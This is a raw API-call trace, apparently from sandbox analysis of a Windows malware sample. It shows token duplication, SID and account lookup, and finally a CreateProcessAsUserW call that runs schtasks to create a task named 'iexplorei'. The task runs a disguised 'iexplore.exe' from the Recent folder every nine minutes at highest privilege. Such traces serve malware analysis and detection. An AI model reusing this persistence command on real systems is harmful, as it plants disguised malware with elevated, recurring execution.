0x7fefe7bf990 [0153.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0153.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0153.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0153.012] malloc (_Size=0x18) returned 0x2af240 [0153.012] DuplicateTokenEx (in: hExistingToken=0x1ec, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d4) returned 1 [0153.012] malloc (_Size=0x48) returned 0x2ad680 [0153.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x27bb79a0, dwHighDateTime=0x1d8a92a)) [0153.012] SetEvent (hEvent=0x1f0) returned 1 [0153.014] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0153.014] GetLastError () returned 0x7a [0153.014] malloc (_Size=0x2c) returned 0x2b8b10 [0153.014] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0153.014] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0153.014] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0153.015] malloc (_Size=0x1c) returned 0x2b8650 [0153.015] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0153.015] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0153.015] malloc (_Size=0x18) returned 0x2af240 [0153.015] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0153.015] malloc (_Size=0x18) returned 0x2af1a0 [0153.015] malloc (_Size=0x18) returned 0x2af180 [0153.015] SysStringLen (param_1="S-1-") returned 0x4 [0153.015] SysStringLen (param_1="5") returned 0x1 [0153.015] memcpy (in: _Dst=0x142338, _Src=0x1424b8, _Size=0xa | out: _Dst=0x142338) returned 0x142338 [0153.015] memcpy (in: _Dst=0x142340, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142340) returned 0x142340 [0153.015] free (_Block=0x2af240) [0153.015] free (_Block=0x2af1a0) [0153.015] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0153.015] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0153.015] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0153.015] malloc (_Size=0x18) returned 0x2af1a0 [0153.015] malloc (_Size=0x18) returned 0x2af240 [0153.015] SysStringLen (param_1="S-1-5") returned 0x5 [0153.015] SysStringLen (param_1="-") returned 0x1 [0153.016] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xc | out: _Dst=0x1424e8) returned 0x1424e8 [0153.016] memcpy (in: _Dst=0x1424f2, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f2) returned 0x1424f2 [0153.016] free (_Block=0x2af180) [0153.016] free (_Block=0x2af1a0) [0153.016] malloc (_Size=0x18) returned 0x2af1a0 [0153.016] malloc (_Size=0x18) returned 0x2af180 [0153.016] SysStringLen (param_1="S-1-5-") returned 0x6 [0153.016] SysStringLen (param_1="21") returned 0x2 [0153.016] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xe | out: _Dst=0x1424b8) returned 0x1424b8 [0153.016] memcpy (in: _Dst=0x1424c4, _Src=0x142338, _Size=0x6 | out: _Dst=0x1424c4) returned 0x1424c4 [0153.016] free (_Block=0x2af240) [0153.016] free (_Block=0x2af1a0) [0153.016] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0153.016] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0153.016] malloc (_Size=0x18) returned 0x2af1a0 [0153.016] malloc (_Size=0x18) returned 0x2af240 [0153.016] SysStringLen (param_1="S-1-5-21") returned 0x8 [0153.016] SysStringLen (param_1="-") returned 0x1 [0153.016] memcpy (in: _Dst=0x142338, _Src=0x1424b8, _Size=0x12 | out: _Dst=0x142338) returned 0x142338 [0153.016] memcpy (in: _Dst=0x142348, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142348) returned 0x142348 [0153.016] free (_Block=0x2af180) [0153.017] free (_Block=0x2af1a0) [0153.017] malloc (_Size=0x18) returned 0x2af1a0 [0153.017] malloc (_Size=0x18) returned 0x2af180 [0153.017] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0153.017] SysStringLen (param_1="4219442223") returned 0xa [0153.017] memcpy (in: _Dst=0x1179a8, _Src=0x142338, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0153.017] memcpy (in: _Dst=0x1179ba, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0153.017] free (_Block=0x2af240) [0153.017] free (_Block=0x2af1a0) [0153.017] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0153.017] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0153.017] malloc (_Size=0x18) returned 0x2af1a0 [0153.017] malloc (_Size=0x18) returned 0x2af240 [0153.017] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0153.017] SysStringLen (param_1="-") returned 0x1 [0153.017] memcpy (in: _Dst=0x118088, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x118088) returned 0x118088 [0153.017] memcpy (in: _Dst=0x1180ae, _Src=0x142338, _Size=0x4 | out: _Dst=0x1180ae) returned 0x1180ae [0153.017] free (_Block=0x2af180) [0153.017] free (_Block=0x2af1a0) [0153.017] malloc (_Size=0x18) returned 0x2af1a0 [0153.017] malloc (_Size=0x18) returned 0x2af180 [0153.018] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0153.018] SysStringLen (param_1="4223814209") returned 0xa [0153.018] memcpy (in: _Dst=0x12d6f8, _Src=0x118088, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0153.018] memcpy (in: _Dst=0x12d720, _Src=0x142338, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0153.018] free (_Block=0x2af240) [0153.018] free (_Block=0x2af1a0) [0153.018] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0153.018] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0153.018] malloc (_Size=0x18) returned 0x2af1a0 [0153.018] malloc (_Size=0x18) returned 0x2af240 [0153.018] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0153.018] SysStringLen (param_1="-") returned 0x1 [0153.018] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0153.018] memcpy (in: _Dst=0x1075c4, _Src=0x142338, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0153.018] free (_Block=0x2af180) [0153.018] free (_Block=0x2af1a0) [0153.018] malloc (_Size=0x18) returned 0x2af1a0 [0153.018] malloc (_Size=0x18) returned 0x2af180 [0153.018] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0153.018] SysStringLen (param_1="3835049652") returned 0xa [0153.018] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0153.019] memcpy (in: _Dst=0x12d736, _Src=0x142338, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0153.019] free (_Block=0x2af240) [0153.019] free (_Block=0x2af1a0) [0153.019] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0153.019] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0153.019] malloc (_Size=0x18) returned 0x2af1a0 [0153.019] malloc (_Size=0x18) returned 0x2af240 [0153.019] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0153.019] SysStringLen (param_1="-") returned 0x1 [0153.019] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0153.019] memcpy (in: _Dst=0x1075da, _Src=0x142338, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0153.019] free (_Block=0x2af180) [0153.019] free (_Block=0x2af1a0) [0153.019] malloc (_Size=0x18) returned 0x2af1a0 [0153.019] malloc (_Size=0x18) returned 0x2af180 [0153.019] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0153.019] SysStringLen (param_1="1000") returned 0x4 [0153.019] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0153.019] memcpy (in: _Dst=0x12d74c, _Src=0x142338, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0153.019] free (_Block=0x2af240) [0153.019] free (_Block=0x2af1a0) [0153.020] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0153.020] malloc (_Size=0x5e) returned 0x2b0ad0 [0153.020] free (_Block=0x2af180) [0153.020] malloc (_Size=0x18) returned 0x2af180 [0153.020] free (_Block=0x2b0ad0) [0153.020] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0153.021] GetLastError () returned 0x7a [0153.021] malloc (_Size=0x14) returned 0x2af1a0 [0153.021] malloc (_Size=0x16) returned 0x2af240 [0153.021] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca84, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0153.022] malloc (_Size=0x18) returned 0x2af280 [0153.022] malloc (_Size=0x18) returned 0x2af260 [0153.022] free (_Block=0x2af1a0) [0153.022] free (_Block=0x2af240) [0153.022] free (_Block=0x2b8650) [0153.022] free (_Block=0x2af260) [0153.022] free (_Block=0x2af280) [0153.022] free (_Block=0x2af180) [0153.023] free (_Block=0x2b8b10) [0153.023] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0153.023] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0153.023] GetLastError () returned 0x7a [0153.023] malloc (_Size=0x2c) returned 0x2b8b50 [0153.023] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0153.023] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0153.023] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0153.023] malloc (_Size=0x1c) returned 0x2b8650 [0153.023] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0153.023] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0153.024] malloc (_Size=0x18) returned 0x2af180 [0153.024] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0153.024] malloc (_Size=0x18) returned 0x2af280 [0153.024] malloc (_Size=0x18) returned 0x2af260 [0153.024] SysStringLen (param_1="S-1-") returned 0x4 [0153.024] SysStringLen (param_1="5") returned 0x1 [0153.024] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xa | out: _Dst=0x1424b8) returned 0x1424b8 [0153.024] memcpy (in: _Dst=0x1424c0, _Src=0x142338, _Size=0x4 | out: _Dst=0x1424c0) returned 0x1424c0 [0153.024] free (_Block=0x2af180) [0153.024] free (_Block=0x2af280) [0153.024] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0153.024] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0153.024] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0153.024] malloc (_Size=0x18) returned 0x2af280 [0153.024] malloc (_Size=0x18) returned 0x2af180 [0153.024] SysStringLen (param_1="S-1-5") returned 0x5 [0153.024] SysStringLen (param_1="-") returned 0x1 [0153.024] memcpy (in: _Dst=0x142338, _Src=0x1424b8, _Size=0xc | out: _Dst=0x142338) returned 0x142338 [0153.024] memcpy (in: _Dst=0x142342, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142342) returned 0x142342 [0153.024] free (_Block=0x2af260) [0153.025] free (_Block=0x2af280) [0153.025] malloc (_Size=0x18) returned 0x2af280 [0153.025] malloc (_Size=0x18) returned 0x2af260 [0153.025] SysStringLen (param_1="S-1-5-") returned 0x6 [0153.025] SysStringLen (param_1="21") returned 0x2 [0153.025] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xe | out: _Dst=0x1424e8) returned 0x1424e8 [0153.025] memcpy (in: _Dst=0x1424f4, _Src=0x1424b8, _Size=0x6 | out: _Dst=0x1424f4) returned 0x1424f4 [0153.025] free (_Block=0x2af180) [0153.025] free (_Block=0x2af280) [0153.025] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0153.025] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0153.025] malloc (_Size=0x18) returned 0x2af280 [0153.025] malloc (_Size=0x18) returned 0x2af180 [0153.025] SysStringLen (param_1="S-1-5-21") returned 0x8 [0153.025] SysStringLen (param_1="-") returned 0x1 [0153.025] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0x12 | out: _Dst=0x1424b8) returned 0x1424b8 [0153.025] memcpy (in: _Dst=0x1424c8, _Src=0x142338, _Size=0x4 | out: _Dst=0x1424c8) returned 0x1424c8 [0153.025] free (_Block=0x2af260) [0153.025] free (_Block=0x2af280) [0153.025] malloc (_Size=0x18) returned 0x2af280 [0153.025] malloc (_Size=0x18) returned 0x2af260 [0153.025] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0153.026] SysStringLen (param_1="4219442223") returned 0xa [0153.026] memcpy (in: _Dst=0x1179a8, _Src=0x1424b8, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0153.026] memcpy (in: _Dst=0x1179ba, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0153.026] free (_Block=0x2af180) [0153.026] free (_Block=0x2af280) [0153.026] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0153.026] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0153.026] malloc (_Size=0x18) returned 0x2af280 [0153.026] malloc (_Size=0x18) returned 0x2af180 [0153.026] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0153.026] SysStringLen (param_1="-") returned 0x1 [0153.026] memcpy (in: _Dst=0x118088, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x118088) returned 0x118088 [0153.026] memcpy (in: _Dst=0x1180ae, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1180ae) returned 0x1180ae [0153.026] free (_Block=0x2af260) [0153.026] free (_Block=0x2af280) [0153.026] malloc (_Size=0x18) returned 0x2af280 [0153.026] malloc (_Size=0x18) returned 0x2af260 [0153.026] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0153.026] SysStringLen (param_1="4223814209") returned 0xa [0153.026] memcpy (in: _Dst=0x107588, _Src=0x118088, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0153.026] memcpy (in: _Dst=0x1075b0, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0153.027] free (_Block=0x2af180) [0153.027] free (_Block=0x2af280) [0153.027] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0153.027] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0153.027] malloc (_Size=0x18) returned 0x2af280 [0153.027] malloc (_Size=0x18) returned 0x2af180 [0153.027] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0153.027] SysStringLen (param_1="-") returned 0x1 [0153.027] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0153.027] memcpy (in: _Dst=0x12d734, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0153.027] free (_Block=0x2af260) [0153.027] free (_Block=0x2af280) [0153.027] malloc (_Size=0x18) returned 0x2af280 [0153.027] malloc (_Size=0x18) returned 0x2af260 [0153.027] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0153.027] SysStringLen (param_1="3835049652") returned 0xa [0153.027] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0153.027] memcpy (in: _Dst=0x1075c6, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0153.027] free (_Block=0x2af180) [0153.027] free (_Block=0x2af280) [0153.027] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0153.028] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0153.028] malloc (_Size=0x18) returned 0x2af280 [0153.028] malloc (_Size=0x18) returned 0x2af180 [0153.028] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0153.028] SysStringLen (param_1="-") returned 0x1 [0153.028] memcpy (in: _Dst=0x12d6f8, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0153.028] memcpy (in: _Dst=0x12d74a, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0153.028] free (_Block=0x2af260) [0153.028] free (_Block=0x2af280) [0153.028] malloc (_Size=0x18) returned 0x2af280 [0153.028] malloc (_Size=0x18) returned 0x2af260 [0153.028] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0153.029] SysStringLen (param_1="1000") returned 0x4 [0153.029] memcpy (in: _Dst=0x107588, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0153.029] memcpy (in: _Dst=0x1075dc, _Src=0x1424b8, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0153.029] free (_Block=0x2af180) [0153.029] free (_Block=0x2af280) [0153.029] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0153.029] malloc (_Size=0x5e) returned 0x2b0ad0 [0153.029] free (_Block=0x2af260) [0153.029] malloc (_Size=0x18) returned 0x2af260 [0153.030] free (_Block=0x2b0ad0) [0153.030] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0153.031] GetLastError () returned 0x7a [0153.031] malloc (_Size=0x14) returned 0x2af280 [0153.031] malloc (_Size=0x16) returned 0x2af180 [0153.031] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca94, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0153.031] malloc (_Size=0x18) returned 0x2af240 [0153.031] malloc (_Size=0x18) returned 0x2af1a0 [0153.031] free (_Block=0x2af280) [0153.031] free (_Block=0x2af180) [0153.032] free (_Block=0x2b8650) [0153.032] free (_Block=0x2af1a0) [0153.032] free (_Block=0x2af240) [0153.032] free (_Block=0x2af260) [0153.032] free (_Block=0x2b8b50) [0153.032] malloc (_Size=0x48) returned 0x2ad680 [0153.032] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0153.038] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0153.038] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0153.038] malloc (_Size=0x18) returned 0x2af260 [0153.038] CreateEnvironmentBlock () returned 0x1 [0153.068] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0153.068] malloc (_Size=0x18) returned 0x2af240 [0153.069] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x189cb0, 